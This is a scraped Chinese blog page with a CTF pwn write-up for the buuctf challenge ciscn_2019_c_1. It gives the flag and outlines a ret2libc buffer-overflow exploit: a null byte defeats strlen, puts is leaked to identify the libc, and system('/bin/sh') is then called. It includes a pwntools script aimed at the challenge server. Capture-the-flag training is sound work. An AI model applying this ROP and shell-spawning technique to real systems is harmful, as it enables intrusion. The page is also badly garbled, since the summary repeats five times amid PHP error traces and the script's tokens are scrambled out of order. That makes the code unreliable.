Error[8]: Undefined offset: 293, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

CTF-PWN

来源:https://buuoj.cn/challenges

内容:

附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64

答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}

总体思路

发现加密位置,判断其溢出点

通过设置第一个字符为

  • 以让strlen返回0,从而避免payload被破坏

    构造执行,溢出获取puts的地址,从而得到libc版本

    再次溢出,执行获取shell

    详细步骤 参考文档 )
    File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
    File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
    File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
    Error[8]: Undefined offset: 294, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
    File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

    CTF-PWN

    来源:https://buuoj.cn/challenges

    内容:

    附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64

    答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}

    总体思路

    发现加密位置,判断其溢出点

    通过设置第一个字符为

  • 以让strlen返回0,从而避免payload被破坏

    构造执行,溢出获取puts的地址,从而得到libc版本

    再次溢出,执行获取shell

    详细步骤 参考文档 )
    File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
    File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
    File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
    Error[8]: Undefined offset: 295, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
    File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

    CTF-PWN

    来源:https://buuoj.cn/challenges

    内容:

    附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64

    答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}

    总体思路

    发现加密位置,判断其溢出点

    通过设置第一个字符为

  • 以让strlen返回0,从而避免payload被破坏

    构造执行,溢出获取puts的地址,从而得到libc版本

    再次溢出,执行获取shell

    详细步骤 参考文档 )
    File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
    File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
    File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
    Error[8]: Undefined offset: 296, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
    File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

    CTF-PWN

    来源:https://buuoj.cn/challenges

    内容:

    附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64

    答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}

    总体思路

    发现加密位置,判断其溢出点

    通过设置第一个字符为

  • 以让strlen返回0,从而避免payload被破坏

    构造执行,溢出获取puts的地址,从而得到libc版本

    再次溢出,执行获取shell

    详细步骤 参考文档 )
    File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
    File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
    File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
    Error[8]: Undefined offset: 297, File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 121
    File: /www/wwwroot/outofmemory.cn/tmp/plugin_ss_superseo_model_superseo.php, Line: 473, decode(

    CTF-PWN

    来源:https://buuoj.cn/challenges

    内容:

    附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64

    答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}

    总体思路

    发现加密位置,判断其溢出点

    通过设置第一个字符为

  • 以让strlen返回0,从而避免payload被破坏

    构造执行,溢出获取puts的地址,从而得到libc版本

    再次溢出,执行获取shell

    详细步骤 参考文档 )
    File: /www/wwwroot/outofmemory.cn/tmp/route_read.php, Line: 126, InsideLink()
    File: /www/wwwroot/outofmemory.cn/tmp/index.inc.php, Line: 165, include(/www/wwwroot/outofmemory.cn/tmp/route_read.php)
    File: /www/wwwroot/outofmemory.cn/index.php, Line: 30, include(/www/wwwroot/outofmemory.cn/tmp/index.inc.php)
    CTF-PWN-buuctf-ciscn_C_内存溢出

    CTF-PWN-buuctf-ciscn

    CTF-PWN-buuctf-ciscn,第1张

    CTF-PWN

    来源:https://buuoj.cn/challenges

    内容:

    附件:https://pan.baidu.com/s/1ENhfN3jAV0TAUKpEIeZ7zw?pwd=2n64 提取码:2n64

    答案:flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}

    总体思路

    发现加密位置,判断其溢出点

    通过设置第一个字符为

  • 以让strlen返回0,从而避免payload被破坏

    构造执行,溢出获取puts的地址,从而得到libc版本

    再次溢出,执行获取shell

    详细步骤
    • 查看文件信息

        import
    • import struct
      from sys
      import pwn * from
      import LibcSearcher * import
      = os
      enable_use_randoms False .
      
      context=os 'linux' .
      context=arch 'amd64' .
      context=log_level 'debug' def
      
      
      p64 ()d:return
          . struct(pack',) ddef
      
      
      u64 ()d:return
          . struct(unpack',) d[0]def
      
      
      use_randoms (:lengthint ,: charchr = None ,: encodingstr = 'ascii' ):if
          not or enable_use_randoms : charif
              not : char=
                  char 'a' =
              r * char else length
          :=
              r ( randoms,length. string)ascii_lettersreturn
          . r(encode)encodingdef
      
      
      start_process (:targetstr ):.
          os(systemf'chmod 777 }{target')=
          p ( process)targetreturn
          : p
      
      
      targetstr = './ciscn_2019_c_1' =
      
      gamebox ( ELF)target=
      pop_rdi_ret 0x0400c83 # 寻找一个可以pop rdi的语句 =
      
      start_addr . gamebox[symbols'_start']# 获取start的地址用于泄露libc以后重新开始 # io = start_process(target)
      =
      io ( remote'node4.buuoj.cn',25561 )=
      
      v_pop_rdi_ret ( p64)pop_rdi_ret=
      v_padding b'+' ( 0x50 use_randoms-1+8)# # s = 0x50 减去一个前面的 # 泄露libc.method的地址 ,加上padding的长度,所以是0x50-1+8用于绕过strlen使其payload不被破坏def 
      leak_symbol
      (
      
      :
      str ):symbol_name= .[]
          method_plt = gamebox.plt[symbol_name]
          method_got = gamebox+got+=symbol_name(
          payload ) v_padding + v_pop_rdi_ret
          payload ( p64)method_got+ ( p64)method_plt. ( p64'Input your choice!\n'start_addr,
          io'1'sendlineafter)print( 'sending',
          ).("Input your Plaintext to be encrypted\n" payload,
          io)sendlineafter.("Ciphertext\n" payload)
          io.recvuntil()=
          io.recvline()
          v_leak = io(recvline[:
          v_leak_hex - u641v_leak].(8,b')'ljust)print( 'v_leak_hex',hex
          ())return =(v_leak_hex'puts')
          = v_leak_hex
      
      
      leak_func_puts ( leak_symbol'puts',)
      libc # 寻找对应的版本,可能会返回多个,需要逐个测试 LibcSearcher=-. leak_func_puts( 'puts'
      libc_offset ) leak_func_puts = libc+dump.('system'
      sys_addr ) libc_offset = libc+dump.('str_bin_sh'
      bin_sh_addr ) libc_offset = libc0x04006b9dump# start的返回地址,用于正常结束=+
      
      ret ( ) +=
      payload2 ( v_padding ) p64+ret(
      payload2 ) p64+pop_rdi_ret( ) p64# 重新溢出,使用system('/bin/sh')bin_sh_addr. ( p64"1"sys_addr) .
      io(sendline"Input your Plaintext to be encrypted\n",)
      io.sendlineafter('cat flag') payload2# flag{e8165d23-782e-47fd-9c16-0a002b1f08bd}
      io.sendline()
    • C 运算符重载
    • iopip install pwntoolsinteractive
    • 官方文档
    • 官方使用教程
    • checksec:检查样本的基本信息也可以是通过设置 pwntool.context.log_level = 'debug’得到
    参考文档
    • 基础的rop使用方法
    • 常用工具
      • pwntools逆向python库
        • 工具的基本使用方法,注意安装要使用system_addr
        • system/bin/sh
      • Kali
        • 如果没有的话就看其他函数的地址以查到libc版本,以及其各值的地址
    • 教程
      • 2019 北航 CTF Pwn入门培训课程(一)
        • 待解析
      • 2019 北航 CTF Pwn入门培训课程(二)
        • 为什么main的返回地址被替换为
        • 待解析
        • 后 a=system_ret ;b=param_1
        • ret2libc使用pil节区中的和
      • 2019 北航 CTF Pwn入门培训课程(三)
        • 2019 北航 CTF Pwn入门培训课程(四)

        欢迎分享,转载请注明来源:内存溢出

        原文地址: http://outofmemory.cn/langs/673965.html

        (0)
        打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
        上一篇 2022-04-19
        下一篇 2022-04-19

        发表评论

        登录后才能评论

        评论列表(0条)

        保存